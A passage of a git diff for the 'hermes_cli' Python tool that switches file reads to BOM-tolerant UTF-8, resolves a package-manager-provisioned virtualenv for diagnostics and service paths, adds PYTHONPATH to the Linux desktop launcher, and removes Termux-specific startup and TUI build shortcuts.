shutil.which("pwsh") - if not ps_bin: - if interactive: - print(" PowerShell not found. Install PowerShell or run install.ps1 manually.") - return False - cmd = [ - ps_bin, - "-ExecutionPolicy", "Bypass", - "-File", str(script), - "-Ensure", dep, - "-HermesHome", str(get_hermes_home()), - ] - else: - cmd = ["bash", str(script), "--ensure", dep] - - run_env = hermes_subprocess_env(inherit_credentials=False) - run_env["IS_INTERACTIVE"] = "false" - result = subprocess.run( - cmd, - env=run_env, - ) - if result.returncode != 0: - return False - - if check: - return check() - return True + return check() diff --git a/hermes_cli/doctor.py b/hermes_cli/doctor.py index dec9f8801a..25a7b2a1f4 100644 --- a/hermes_cli/doctor.py +++ b/hermes_cli/doctor.py @@ -706,7 +706,7 @@ def _read_pyproject_version() -> str | None: """ pyproject = PROJECT_ROOT / "pyproject.toml" try: - text = pyproject.read_text(encoding="utf-8") + text = pyproject.read_text(encoding="utf-8-sig") except OSError: return None in_project = False @@ -1232,6 +1232,34 @@ def check_macos_full_disk_access() -> None: ) +def _pm_venv_active() -> bool: + """Whether pm provisioned a runtime venv for this install. + + Resolved from pm's own records (facts.json + store layout), never from + interpreter state: under no-boot-through-venv ``sys.prefix`` always + equals ``sys.base_prefix`` and ``VIRTUAL_ENV`` is unset in bundled + installs. A bundled install keeps its relocatable venv beside the + manifest; a dev install syncs the project venv (``venv``/``.venv``). + Falls back to the legacy ``sys.prefix`` probe when pm records nothing + here (pre-pm checkouts) or pm itself cannot be read. + """ + try: + from pm import paths + from pm.lock import Facts + + if Facts(paths.facts_path()).get("venv"): + store = paths.store_root() + bundled = store.parent / "venv" + if (store.parent / "manifest.json").is_file(): + return bundled.is_dir() + from hermes_constants import project_venv_dir + + return project_venv_dir(paths.repo_root()) is not None + except Exception: + pass + return sys.prefix != sys.base_prefix + + def run_doctor(args): """Run diagnostic checks.""" should_fix = getattr(args, 'fix', False) @@ -1395,8 +1423,12 @@ def run_doctor(args): _report_database_journal_modes() except Exception as e: check_warn(f"SQLite version probe failed: {e}") - # Check if in virtual environment - in_venv = sys.prefix != sys.base_prefix + # Check whether pm provisioned a runtime venv for this install. + # Under no-boot-through-venv the gateway runs the store python + # (sys.prefix == sys.base_prefix always, VIRTUAL_ENV unset in bundled + # installs), so prefix sniffing cannot distinguish; pm's facts are the + # authority. Falls back to the legacy probe when pm has no venv here. + in_venv = _pm_venv_active() if in_venv: check_ok("Virtual environment active") else: @@ -1464,7 +1496,7 @@ def run_doctor(args): # latin-1 for Windows Notepad/cp1252 files that are not valid UTF-8 — # matches hermes_cli.env_loader._load_dotenv_with_fallback. try: - content = env_path.read_text(encoding="utf-8") + content = env_path.read_text(encoding="utf-8-sig") except UnicodeDecodeError: content = env_path.read_text(encoding="latin-1") if _has_provider_env_config(content): @@ -1995,7 +2027,7 @@ def run_doctor(args): # Check for SOUL.md persona file soul_path = hermes_home / "SOUL.md" if soul_path.exists(): - content = soul_path.read_text(encoding="utf-8").strip() + content = soul_path.read_text(encoding="utf-8-sig").strip() # Check if it's just the template comments (no real content) lines = [l for l in content.splitlines() if l.strip() and not l.strip().startswith(("", "#"))] if lines: @@ -2022,12 +2054,12 @@ def run_doctor(args): memory_file = memories_dir / "MEMORY.md" user_file = memories_dir / "USER.md" if memory_file.exists(): - size = len(memory_file.read_text(encoding="utf-8").strip()) + size = len(memory_file.read_text(encoding="utf-8-sig").strip()) check_ok(f"MEMORY.md exists ({size} chars)") else: check_info("MEMORY.md not created yet (will be created when the agent first writes a memory)") if user_file.exists(): - size = len(user_file.read_text(encoding="utf-8").strip()) + size = len(user_file.read_text(encoding="utf-8-sig").strip()) check_ok(f"USER.md exists ({size} chars)") else: check_info("USER.md not created yet (will be created when the agent first writes a memory)") @@ -3178,7 +3210,7 @@ def run_doctor(args): if lock_file.exists(): try: import json - lock_data = json.loads(lock_file.read_text(encoding="utf-8")) + lock_data = json.loads(lock_file.read_text(encoding="utf-8-sig")) count = len(lock_data.get("installed", {})) check_ok(f"Lock file OK ({count} hub-installed skill(s))") except Exception: @@ -3344,7 +3376,7 @@ def run_doctor(args): if not wrapper.is_file(): continue try: - content = wrapper.read_text(encoding="utf-8") + content = wrapper.read_text(encoding="utf-8-sig") if "hermes -p" in content: _m = _re.search(r"hermes -p (\S+)", content) if _m and not profile_exists(_m.group(1)): diff --git a/hermes_cli/gateway.py b/hermes_cli/gateway.py index 4c18203e10..b04a8f676e 100644 --- a/hermes_cli/gateway.py +++ b/hermes_cli/gateway.py @@ -3525,15 +3525,57 @@ def launchd_gateway_labels_for_install() -> list[str]: return root_label + sorted(profile_labels) +def _pm_runtime_venv_dir() -> Path | None: + """The venv pm provisioned for this install, resolved from pm's own + records (facts.json + store layout) — never from interpreter state. + + Under no-boot-through-venv the gateway runs the store python with the + venv's site-packages on PYTHONPATH, so ``sys.prefix`` always equals + ``sys.base_prefix`` and ``VIRTUAL_ENV`` is unset in bundled installs; + prefix/env probing silently degrades. pm is the authority instead: a + bundled install keeps its relocatable venv beside the manifest (a + sibling of the store), a dev install syncs the project venv + (``venv``/``.venv``, per ``hermes_constants.project_venv_dir`` — the + same layout ``pm.packages.Venv.venv_dir`` materializes). The venv fact + must exist: pm only vouches for what it provisioned. + """ + try: + from pm import paths + from pm.lock import Facts + except Exception: + return None + try: + if not Facts(paths.facts_path()).get("venv"): + return None + except Exception: + return None + store = paths.store_root() + bundled = store.parent / "venv" + if (store.parent / "manifest.json").is_file(): + return bundled if bundled.is_dir() else None + try: + from hermes_constants import project_venv_dir + except ImportError: + return None + return project_venv_dir(paths.repo_root()) + + def _detect_venv_dir() -> Path | None: """Detect the active virtualenv directory. - Checks ``sys.prefix`` first (works regardless of the directory name), - then ``VIRTUAL_ENV`` env var (covers uv-managed environments where - sys.prefix == sys.base_prefix), then falls back to probing common - directory names under PROJECT_ROOT. + Resolves the pm-provisioned runtime venv first (facts + store layout — + the authority under no-boot-through-venv, where ``sys.prefix`` no + longer distinguishes and bundled installs carry no ``VIRTUAL_ENV``). + Legacy probes follow for pre-pm environments: ``sys.prefix`` (works + regardless of the directory name), then the ``VIRTUAL_ENV`` env var + (covers uv-managed environments where sys.prefix == + sys.base_prefix), then common directory names under PROJECT_ROOT. Returns ``None`` when no virtualenv can be found. """ + pm_venv = _pm_runtime_venv_dir() + if pm_venv is not None and pm_venv.is_dir(): + return pm_venv + # If we're running inside a virtualenv, sys.prefix points to it. if sys.prefix != sys.base_prefix: venv = Path(sys.prefix) @@ -3706,11 +3748,19 @@ def _build_service_path_dirs(project_root: Path | None = None) -> list[str]: candidates = [] + # The interpreter's own bin dir. Under no-boot-through-venv the + # gateway runs the store python (sys.prefix == sys.base_prefix), so + # the venv bin dir comes from pm's facts/store resolution, not from + # prefix sniffing. venv_bin = project_root / "venv" / "bin" if _is_dir(venv_bin): candidates.append(str(venv_bin)) - elif sys.prefix != sys.base_prefix: - candidates.append(str(Path(sys.prefix) / "bin")) + else: + pm_venv = _pm_runtime_venv_dir() + if pm_venv is not None: + pm_venv_bin = pm_venv / "bin" + if _is_dir(pm_venv_bin): + candidates.append(str(pm_venv_bin)) node_bin = project_root / "node_modules" / ".bin" if _is_dir(node_bin): diff --git a/hermes_cli/linux_desktop_entry.py b/hermes_cli/linux_desktop_entry.py index eef2a4376d..53bde536f3 100644 --- a/hermes_cli/linux_desktop_entry.py +++ b/hermes_cli/linux_desktop_entry.py @@ -57,6 +57,19 @@ def icon_path(project_root: Path) -> Path: return project_root / "apps" / "desktop" / "assets" / "icon.png" +def _repo_pythonpath_entry() -> str | None: + """The repo root as a PYTHONPATH entry — under no-boot-through-venv the + boot interpreter is the pm STORE python whose imports arrive via + PYTHONPATH (no editable install), and a .desktop launch by the DE + inherits NO environment, so the Exec line must carry it explicitly.""" + try: + import hermes_cli + + return str(Path(hermes_cli.__file__).resolve().parent.parent) + except Exception: + return None + + def resolve_exec_command() -> str: """Build the absolute ``Exec=`` command line for ``hermes desktop``. @@ -66,6 +79,8 @@ def resolve_exec_command() -> str: """ from hermes_cli.relaunch import resolve_hermes_bin + repo = _repo_pythonpath_entry() + prefix = f"env PYTHONPATH={_quote_exec_arg(repo)} " if repo else "" bin_path = resolve_hermes_bin() if bin_path: resolved = Path(bin_path).resolve() @@ -79,11 +94,13 @@ def resolve_exec_command() -> str: # sys.executable is the interpreter actually running Hermes (the # venv one), so prefix it explicitly. argv = [str(Path(sys.executable).resolve()), str(resolved), "desktop"] + return prefix + " ".join(_quote_exec_arg(a) for a in argv) else: argv = [str(resolved), "desktop"] + return " ".join(_quote_exec_arg(a) for a in argv) else: argv = [str(Path(sys.executable).resolve()), "-m", "hermes_cli.main", "desktop"] - return " ".join(_quote_exec_arg(a) for a in argv) + return prefix + " ".join(_quote_exec_arg(a) for a in argv) def _needs_interpreter(bin_path: Path) -> bool: diff --git a/hermes_cli/macos_tcc_anchor.py b/hermes_cli/macos_tcc_anchor.py index 3bceddb7ec..9b7b324468 100644 --- a/hermes_cli/macos_tcc_anchor.py +++ b/hermes_cli/macos_tcc_anchor.py @@ -147,7 +147,7 @@ def _interpreter_source(venv_dir: Path) -> str | None: return None home = "" try: - for line in cfg.read_text(encoding="utf-8").splitlines(): + for line in cfg.read_text(encoding="utf-8-sig").splitlines(): if line.lower().startswith("home"): _, _, home = line.partition("=") home = home.strip() @@ -390,7 +390,7 @@ def ensure_tcc_anchor(project_root: Path | None = None) -> Path | None: if not venv_py.is_symlink(): marker = _anchor_marker(venv_py.parent) try: - if marker.is_file() and marker.read_text(encoding="utf-8").strip() == ( + if marker.is_file() and marker.read_text(encoding="utf-8-sig").strip() == ( _marker_value(source_file) ): _provision_libpython(venv_dir, source_file, refresh=False) @@ -436,7 +436,7 @@ def tcc_anchor_state(project_root: Path | None = None) -> tuple[str, str]: source_file = _interpreter_file(source) expected = _marker_value(source_file) if source_file is not None else source try: - if marker.is_file() and marker.read_text(encoding="utf-8").strip() == expected: + if marker.is_file() and marker.read_text(encoding="utf-8-sig").strip() == expected: return "active", str(venv_py) except OSError: pass diff --git a/hermes_cli/main.py b/hermes_cli/main.py index b25738679d..3b0cf5dc7b 100644 --- a/hermes_cli/main.py +++ b/hermes_cli/main.py @@ -273,7 +273,7 @@ def _set_process_title() -> None: # Cheap, dependency-free read of `display.interface` from config.yaml for the -# earliest hot-path decisions (mouse-residue suppression, Termux fast launch) +# earliest hot-path decisions (mouse-residue suppression, fast launch) # that run *before* hermes_cli.config is importable. Mirrors the explicit # precedence used everywhere else: `--cli` always wins, then `--tui`/env, then # this config value. Cached so the multiple early callers don't re-parse YAML. @@ -296,7 +296,7 @@ def _config_default_interface_early() -> str: if os.path.exists(cfg_path): import yaml as _yaml_iface - with open(cfg_path, encoding="utf-8") as _f: + with open(cfg_path, encoding="utf-8-sig") as _f: raw = _yaml_iface.load( _f, Loader=getattr(_yaml_iface, "CSafeLoader", None) or _yaml_iface.SafeLoader ) or {} @@ -374,15 +374,6 @@ def _suppress_mouse_residue_early() -> None: _suppress_mouse_residue_early() -def _is_termux_startup_environment_fast() -> bool: - """Tiny Termux check for pre-import startup shortcuts.""" - return _startup_fast.is_termux_env() - - -def _is_termux_fast_version_argv(argv: list[str]) -> bool: - return _startup_fast.is_termux_fast_version_argv(argv) - - def _is_global_fast_version_argv(argv: list[str]) -> bool: return _startup_fast.is_global_fast_version_argv(argv) @@ -413,13 +404,6 @@ def _try_ultrafast_version() -> bool: return _startup_fast.try_fast_version() -def _try_termux_ultrafast_version() -> bool: - """Backward-compatible test hook for the Termux startup fast path.""" - if not _is_termux_startup_environment_fast(): - return False - return _try_ultrafast_version() - - _ensure_project_root_on_path_fast() if _try_ultrafast_version(): @@ -649,7 +633,7 @@ def _apply_profile_override() -> None: active_path = get_default_hermes_root() / "active_profile" if active_path.exists(): - name = active_path.read_text(encoding="utf-8").strip() + name = active_path.read_text(encoding="utf-8-sig").strip() if name and name != "default": profile_name = name consume = 0 # don't strip anything from argv @@ -837,17 +821,6 @@ from hermes_cli.model_setup_flows import ( logger = logging.getLogger(__name__) -def _is_termux_startup_environment(env: dict[str, str] | None = None) -> bool: - """Import-safe Termux check for cold-start-sensitive CLI paths.""" - check = env or os.environ - prefix = str(check.get("PREFIX", "")) - return bool( - check.get("TERMUX_VERSION") - or "com.termux/files/usr" in prefix - or prefix.startswith("/data/data/com.termux/") - ) - - def _read_packed_ref(common_dir: Path, ref: str) -> str | None: """Look up a ref in .git/packed-refs without spawning git. @@ -855,7 +828,7 @@ def _read_packed_ref(common_dir: Path, ref: str) -> str | None: peel lines and ``#``-prefixed comments / ``# pack-refs with:`` header. """ try: - text = (common_dir / "packed-refs").read_text(encoding="utf-8", errors="replace") + text = (common_dir / "packed-refs").read_text(encoding="utf-8-sig", errors="replace") except OSError: return None for line in text.splitlines(): @@ -872,7 +845,7 @@ def _read_git_revision_fingerprint(repo_root: Path) -> str | None: git_dir = repo_root / ".git" try: if git_dir.is_file(): - for line in git_dir.read_text(encoding="utf-8", errors="replace").splitlines(): + for line in git_dir.read_text(encoding="utf-8-sig", errors="replace").splitlines(): key, _, value = line.partition(":") if key.strip() == "gitdir" and value.strip(): git_dir = (repo_root / value.strip()).resolve() @@ -884,13 +857,13 @@ def _read_git_revision_fingerprint(repo_root: Path) -> str | None: commondir_file = git_dir / "commondir" if commondir_file.exists(): try: - rel = commondir_file.read_text(encoding="utf-8", errors="replace").strip() + rel = commondir_file.read_text(encoding="utf-8-sig", errors="replace").strip() if rel: common_dir = (git_dir / rel).resolve() except OSError: pass head_file = git_dir / "HEAD" - head = head_file.read_text(encoding="utf-8", errors="replace").strip() + head = head_file.read_text(encoding="utf-8-sig", errors="replace").strip() if head.startswith("ref:"): ref = head.split(":", 1)[1].strip() # Loose refs may live in the worktree gitdir OR the common dir @@ -899,7 +872,7 @@ def _read_git_revision_fingerprint(repo_root: Path) -> str | None: for candidate in (git_dir, common_dir): ref_file = candidate / ref if ref_file.exists(): - return f"git:{ref}:{ref_file.read_text(encoding='utf-8', errors='replace').strip()}" + return f"git:{ref}:{ref_file.read_text(encoding='utf-8-sig', errors='replace').strip()}" packed_sha = _read_packed_ref(common_dir, ref) if packed_sha: return f"git:{ref}:{packed_sha}" @@ -912,69 +885,14 @@ def _read_git_revision_fingerprint(repo_root: Path) -> str | None: return None -def _termux_bundled_skills_fingerprint() -> str: - """Cheap invalidation key for Termux bundled-skill startup sync.""" - git_fp = _read_git_revision_fingerprint(PROJECT_ROOT) - if git_fp: - return git_fp - skills_dir = PROJECT_ROOT / "skills" - try: - stat = skills_dir.stat() - return f"skills:{__version__}:{__release_date__}:{stat.st_mtime_ns}:{stat.st_size}" - except OSError: - return f"skills:{__version__}:{__release_date__}:missing" - - -def _termux_bundled_skills_stamp_path() -> Path: - return get_hermes_home() / "skills" / ".termux_bundled_sync_stamp" - - -def _termux_bundled_skills_sync_needed() -> bool: - if not _is_termux_startup_environment(): - return True - if os.environ.get("HERMES_TERMUX_FORCE_SKILLS_SYNC") == "1": - return True - try: - stamp = _termux_bundled_skills_stamp_path() - return stamp.read_text(encoding="utf-8").strip() != _termux_bundled_skills_fingerprint() - except OSError: - return True - - -def _mark_termux_bundled_skills_synced() -> None: - if not _is_termux_startup_environment(): - return - try: - stamp = _termux_bundled_skills_stamp_path() - stamp.parent.mkdir(parents=True, exist_ok=True) - stamp.write_text(_termux_bundled_skills_fingerprint() + "\n", encoding="utf-8") - except OSError: - pass - - def _sync_bundled_skills_for_startup() -> bool: - """Sync bundled skills, but skip unchanged Termux checkouts cheaply. - - Hashing every bundled skill is safe but expensive on older Android - storage. The git/ref stamp keeps post-update correctness: a changed - checkout revision forces one real sync, then later starts skip it. - """ - if _is_termux_startup_environment() and not _termux_bundled_skills_sync_needed(): - return False - + """Sync the bundled skills into the user skills directory.""" from tools.skills_sync import sync_skills sync_skills(quiet=True) - _mark_termux_bundled_skills_synced() return True -def _termux_should_prefetch_update_check() -> bool: - if not _is_termux_startup_environment(): - return True - return os.environ.get("HERMES_TERMUX_PREFETCH_UPDATES") == "1" - - def _relative_time(ts) -> str: """Format a timestamp as relative time (e.g., '2h ago', 'yesterday'). @@ -1038,7 +956,7 @@ def _has_any_provider_configured() -> bool: env_file = get_env_path() if env_file.exists(): try: - for line in env_file.read_text(encoding="utf-8").splitlines(): + for line in env_file.read_text(encoding="utf-8-sig").splitlines(): line = line.strip() if line.startswith("#") or "=" not in line: continue @@ -1924,7 +1842,7 @@ def _read_tui_active_session_file(path: Optional[str]) -> Optional[str]: if not path: return None try: - data = json.loads(Path(path).read_text(encoding="utf-8")) + data = json.loads(Path(path).read_text(encoding="utf-8-sig")) sid = str(data.get("session_id") or "").strip() return sid or None except Exception: @@ -2056,32 +1974,6 @@ def _workspace_root(dir: Path) -> Path: return dir -def _termux_workspace_install_context( - dir: Path, *, include_child_workspaces: bool = False -) -> tuple[Path, tuple[str, ...]]: - """Return Termux-only ``(cwd, npm_args)`` for installing deps for *dir* only.""" - ws_root = _workspace_root(dir) - if ws_root == dir: - return dir, () - - try: - workspace = dir.relative_to(ws_root).as_posix() - except ValueError: - return ws_root, () - - workspace_args: list[str] = ["--workspace", workspace] - if include_child_workspaces: - packages_dir = dir / "packages" - if packages_dir.is_dir(): - for child in sorted(packages_dir.iterdir()): - if child.is_dir() and (child / "package.json").is_file(): - workspace_args.extend( - ["--workspace", child.relative_to(ws_root).as_posix()] - ) - workspace_args.append("--include-workspace-root=false") - return ws_root, tuple(workspace_args) - - def _npm_lock_workspace_closure(packages: dict, starts) -> Optional[set]: """Package-map keys reachable from the selected workspaces via npm resolution. @@ -2094,12 +1986,10 @@ def _npm_lock_workspace_closure(packages: dict, starts) -> Optional[set]: The launch install is scoped with ``npm install --workspace ui-tui`` (see ``_make_tui_argv``), so only the ui-tui workspace's dependency closure is - written to the hidden ``.package-lock.json``. On Termux it additionally - selects ui-tui's child ``packages/*`` workspaces, so their devDependencies - join the closure too. The shared root ``package-lock.json`` additionally - lists every *other* workspace's deps (``apps/desktop``, ``web``, …); - comparing the two in full reports those unrelated packages as "missing" and - reinstalls on every launch (#66978). + written to the hidden ``.package-lock.json``. The shared root + ``package-lock.json`` additionally lists every *other* workspace's deps + (``apps/desktop``, ``web``, …); comparing the two in full reports those + unrelated packages as "missing" and reinstalls on every launch (#66978). Keys follow npm's v3 ``packages`` map (``""`` root, ``ui-tui`` / ``apps/desktop`` workspace members, ``node_modules/`` hoisted deps, @@ -2158,30 +2048,19 @@ def _npm_lock_workspace_closure(packages: dict, starts) -> Optional[set]: def _tui_selected_workspace_keys(tui_dir: Path, ws_root: Path) -> set: """Lock-map keys for the workspaces the launch install scopes to. - Mirrors ``_make_tui_argv``: always the ui-tui workspace, plus its child - ``packages/*`` workspaces on Termux (where ``include_child_workspaces=True`` - in ``_termux_workspace_install_context``). ``npm install`` installs the - devDependencies of every workspace it selects, so the freshness closure must - treat each as a dev-included root — otherwise a devDependency unique to a - selected child is dropped from the closure and a genuine missing package - slips past the check. Returns an empty set when ui-tui can't be located - under *ws_root*, so the caller falls back to the full comparison. + Mirrors ``_make_tui_argv``: always the ui-tui workspace. ``npm install`` + installs the devDependencies of every workspace it selects, so the + freshness closure must treat each as a dev-included root — otherwise a + devDependency unique to a selected child is dropped from the closure and a + genuine missing package slips past the check. Returns an empty set when + ui-tui can't be located under *ws_root*, so the caller falls back to the + full comparison. """ try: primary = tui_dir.relative_to(ws_root).as_posix() except ValueError: return set() - keys = {primary} - if _is_termux_startup_environment(): - packages_dir = tui_dir / "packages" - if packages_dir.is_dir(): - for child in sorted(packages_dir.iterdir()): - if child.is_dir() and (child / "package.json").is_file(): - try: - keys.add(child.relative_to(ws_root).as_posix()) - except ValueError: - continue - return keys + return {primary} def _tui_need_npm_install(root: Path) -> bool: @@ -2242,8 +2121,8 @@ def _tui_need_npm_install(root: Path) -> bool: # can bump the root lockfile timestamp even when installed deps already # match. Fall back to mtime when either file is unparseable. try: - wanted = json.loads(lock.read_text(encoding="utf-8")).get("packages") or {} - installed = json.loads(marker.read_text(encoding="utf-8")).get("packages") or {} + wanted = json.loads(lock.read_text(encoding="utf-8-sig")).get("packages") or {} + installed = json.loads(marker.read_text(encoding="utf-8-sig")).get("packages") or {} except (OSError, UnicodeDecodeError, json.JSONDecodeError): return lock.stat().st_mtime > marker.stat().st_mtime @@ -2271,12 +2150,12 @@ def _tui_need_npm_install(root: Path) -> bool: return False # In a shared workspace checkout the launch install is scoped to the ui-tui - # workspace (plus its child packages/* workspaces on Termux), so only that - # dependency closure lands in the hidden lock. Limit the comparison to the - # same selected-workspace closure so unrelated workspace deps (apps/desktop, - # web, …) don't force a reinstall every launch (#66978). Standalone / - # own-lockfile layouts (ws_root == root) do a full install, so keep the full - # comparison; a missing/unlocatable workspace falls back to it too. + # workspace, so only that dependency closure lands in the hidden lock. + # Limit the comparison to the same selected-workspace closure so unrelated + # workspace deps (apps/desktop, web, …) don't force a reinstall every + # launch (#66978). Standalone / own-lockfile layouts (ws_root == root) do + # a full install, so keep the full comparison; a missing/unlocatable + # workspace falls back to it too. closure: Optional[set] = None if ws_root != root: selected = _tui_selected_workspace_keys(root, ws_root) @@ -2313,132 +2192,6 @@ def _tui_need_npm_install(root: Path) -> bool: return False -_TUI_BUILD_INPUT_DIRS = ( - "src", - "packages/hermes-ink/src", -) - -_TUI_BUILD_INPUT_FILES = ( - "package.json", - "package-lock.json", - "tsconfig.json", - "tsconfig.build.json", - "babel.compiler.config.cjs", - "scripts/build.mjs", - "packages/hermes-ink/package.json", - "packages/hermes-ink/index.js", - "packages/hermes-ink/text-input.js", -) - -_TUI_BUILD_INPUT_SUFFIXES = frozenset( - {".cjs", ".js", ".jsx", ".json", ".mjs", ".ts", ".tsx"} -) - - -def _iter_tui_build_inputs(root: Path): - """Yield source/config files that affect ``ui-tui/dist/entry.js``.""" - for rel in _TUI_BUILD_INPUT_FILES: - path = root / rel - if path.is_file(): - yield path - - for rel in _TUI_BUILD_INPUT_DIRS: - base = root / rel - if not base.is_dir(): - continue - for path in base.rglob("*"): - if path.is_file() and path.suffix in _TUI_BUILD_INPUT_SUFFIXES: - yield path - - -def _tui_need_rebuild(root: Path) -> bool: - """True when ``dist/entry.js`` is missing or older than TUI inputs. - - The TUI bundle is self-contained. Rebuilding it on every launch adds a - visible cold-start tax on slow Termux CPUs, while a simple mtime freshness - check still rebuilds immediately after source updates, dependency updates, - or local edits. Set ``HERMES_TUI_FORCE_BUILD=1`` to force the old behaviour. - """ - force = (os.environ.get("HERMES_TUI_FORCE_BUILD") or "").strip().lower() - if force in {"1", "true", "yes", "on"}: - return True - - entry = root / "dist" / "entry.js" - try: - output_mtime = entry.stat().st_mtime - except OSError: - return True - - for path in _iter_tui_build_inputs(root): - try: - if path.stat().st_mtime > output_mtime: - return True - except OSError: - return True - return False - - -def _ensure_tui_node() -> None: - """Make sure `node` + `npm` are on PATH for the TUI. - - If either is missing and scripts/lib/node-bootstrap.sh is available, source - it and call `ensure_node` (fnm/nvm/proto/brew/bundled cascade). After - install, capture the resolved node binary path from the bash subprocess - and prepend its directory to os.environ["PATH"] so shutil.which finds the - new binaries in this Python process — regardless of which version manager - was used (nvm, fnm, proto, brew, or the bundled fallback). - - Idempotent no-op when node+npm are already discoverable. Set - ``HERMES_SKIP_NODE_BOOTSTRAP=1`` to disable auto-install. - """ - if shutil.which("node") and shutil.which("npm"): - return - if os.environ.get("HERMES_SKIP_NODE_BOOTSTRAP"): - return - - helper = PROJECT_ROOT / "scripts" / "lib" / "node-bootstrap.sh" - if not helper.is_file(): - return - - from hermes_constants import get_hermes_home - - hermes_home = str(get_hermes_home()) - try: - # Helper writes logs to stderr; we ask bash to print `command -v node` - # on stdout once ensure_node succeeds. Subshell PATH edits don't leak - # back into Python, so the stdout capture is the bridge. - result = subprocess.run( - [ - "bash", - "-c", - f'source "{helper}" >&2 && ensure_node >&2 && command -v node', - ], - env={**os.environ, "HERMES_HOME": hermes_home}, - capture_output=True, - text=True, - encoding="utf-8", - errors="replace", - check=False, - ) - except (OSError, subprocess.SubprocessError): - return - - parts = os.environ.get("PATH", "").split(os.pathsep) - extras: list[Path] = [] - - resolved = (result.stdout or "").strip() - if resolved: - extras.append(Path(resolved).resolve().parent) - - extras.extend([Path(hermes_home) / "node" / "bin", Path.home() / ".local" / "bin"]) - - for extra in extras: - s = str(extra) - if extra.is_dir() and s not in parts: - parts.insert(0, s) - os.environ["PATH"] = os.pathsep.join(parts) - - def _find_bundled_tui(hermes_cli_dir: Path | None = None) -> Path | None: """Find a pre-built TUI entry.js bundled in the wheel.""" if hermes_cli_dir is None: @@ -2516,7 +2269,6 @@ def _npm_lifecycle_env(env: dict[str, str] | None = None) -> dict[str, str]: def _make_tui_argv(tui_dir: Path, tui_dev: bool) -> tuple[list[str], Path]: """TUI: --dev → tsx src; else node dist (HERMES_TUI_DIR prebuilt or esbuild).""" - _ensure_tui_node() def _node_bin(bin: str) -> str: if bin == "node": @@ -2582,22 +2334,9 @@ def _make_tui_argv(tui_dir: Path, tui_dev: bool) -> tuple[list[str], Path]: # 2. Normal flow: npm install if needed, always esbuild, then node dist/entry.js. # --dev flow: npm install if needed, then tsx src/entry.tsx. - # Existing desktop behaviour runs npm from the workspace root. Termux - # scopes the install to ui-tui so launch does not pull desktop/web - # dependencies into the hot path. + # Existing desktop behaviour runs npm from the workspace root. did_install = False - termux_startup = _is_termux_startup_environment() - termux_need_rebuild = False - if termux_startup and not tui_dev: - termux_need_rebuild = _tui_need_rebuild(tui_dir) - - skip_install_for_fresh_termux_bundle = ( - termux_startup and not tui_dev and not termux_need_rebuild - ) - if ( - not skip_install_for_fresh_termux_bundle - and _tui_need_npm_install(tui_dir) - ): + if _tui_need_npm_install(tui_dir): npm = _node_bin("npm") if not os.environ.get("HERMES_QUIET"): print("Installing TUI dependencies…") @@ -2609,11 +2348,6 @@ def _make_tui_argv(tui_dir: Path, tui_dev: bool) -> tuple[list[str], Path]: # that case fails because npm cannot find a workspace named "ui-tui" # inside ui-tui/. See #42973. npm_workspace_args: tuple[str, ...] = () if npm_cwd == tui_dir else ("--workspace", "ui-tui") - if termux_startup: - npm_cwd, npm_workspace_args = _termux_workspace_install_context( - tui_dir, - include_child_workspaces=True, - ) npm_install_cmd = [ npm, "install", @@ -2700,31 +2434,23 @@ def _make_tui_argv(tui_dir: Path, tui_dev: bool) -> tuple[list[str], Path]: return [str(tsx), "src/entry.tsx"], tui_dir return [npm, "start"], tui_dir - # Desktop/dev launches retain the historical "always rebuild" behaviour. - # Termux cold starts use the freshness check because esbuild startup is - # expensive on old mobile CPUs. - should_build = True - if termux_startup: - should_build = did_install or termux_need_rebuild - - if should_build: - npm = _node_bin("npm") - result = subprocess.run( - [npm, "run", "build"], - cwd=str(tui_dir), - capture_output=True, - text=True, - encoding="utf-8", - errors="replace", - env=_npm_lifecycle_env(), - ) - if result.returncode != 0: - combined = f"{result.stdout or ''}{result.stderr or ''}".strip() - preview = "\n".join(combined.splitlines()[-30:]) - print("TUI build failed.") - if preview: - print(preview) - sys.exit(1) + npm = _node_bin("npm") + result = subprocess.run( + [npm, "run", "build"], + cwd=str(tui_dir), + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + env=_npm_lifecycle_env(), + ) + if result.returncode != 0: + combined = f"{result.stdout or ''}{result.stderr or ''}".strip() + preview = "\n".join(combined.splitlines()[-30:]) + print("TUI build failed.") + if preview: + print(preview) + sys.exit(1) node = _node_bin("node") return [node, "--expose-gc", str(tui_dir / "dist" / "entry.js")], tui_dir @@ -2776,7 +2502,7 @@ def _read_cgroup_memory_limit() -> Optional[int]: ) for path in candidates: try: - with open(path, "r", encoding="utf-8") as f: + with open(path, "r", encoding="utf-8-sig") as f: raw = f.read().strip() except (OSError, ValueError): continue @@ -3293,18 +3019,15 @@ def cmd_chat(args): sys.exit(1) # Start update check in background (runs while other init happens). - # On Termux this imports rich/prompt_toolkit in the foreground and then - # competes for CPU on single-core devices, so keep it opt-in there. - if _termux_should_prefetch_update_check(): - try: - from hermes_cli.banner import prefetch_banner_data, prefetch_update_check + try: + from hermes_cli.banner import prefetch_banner_data, prefetch_update_check - prefetch_update_check() - # Warm git banner state + skills index off-thread too — their - # subprocess/file-I/O waits overlap the CPU-bound cli import. - prefetch_banner_data() - except Exception: - pass + prefetch_update_check() + # Warm git banner state + skills index off-thread too — their + # subprocess/file-I/O waits overlap the CPU-bound cli import. + prefetch_banner_data() + except Exception: + pass # Sync bundled skills on every CLI launch. Normally runs in a background # daemon thread: the sync is idempotent, hash-gated (unchanged skills are @@ -3418,7 +3141,7 @@ def cmd_chat(args): if _qfile == "-": args.query = sys.stdin.read() else: - with open(_qfile, "r", encoding="utf-8", errors="replace") as _fh: + with open(_qfile, "r", encoding="utf-8-sig", errors="replace") as _fh: args.query = _fh.read() except OSError as _e: print(f"Error: cannot read --query-file {_qfile}: {_e}", file=sys.stderr) @@ -5026,9 +4749,8 @@ def _remove_custom_provider(config): # fast paths like `hermes --version` and slash-command dispatch that never # touch the catalog. PEP 562 module-level __getattr__ defers the import # until first attribute access, so the cost is only paid by callers that -# actually look up the catalog. Termux already defers via the same -# mechanism (its model-selection handlers do their own function-local -# imports), so the explicit termux branch from before is no longer needed. +# actually look up the catalog. The model-selection handlers do their own +# function-local imports, so no eager import survives here. _LAZY_MODEL_EXPORTS = ("_PROVIDER_MODELS",) @@ -5078,7 +4800,6 @@ _LAZY_COMMAND_EXPORTS = { "_park_stashed_changes", "_ensure_acp_launcher", "_ensure_fhs_path_guard", - "_ensure_uv_for_termux", "_finish_dashboard_update_cleanup", "_fleet_probe_expected_runtimes", "_fleet_restart_pending_marker_path", @@ -5096,9 +4817,7 @@ _LAZY_COMMAND_EXPORTS = { "_gateway_prompt", 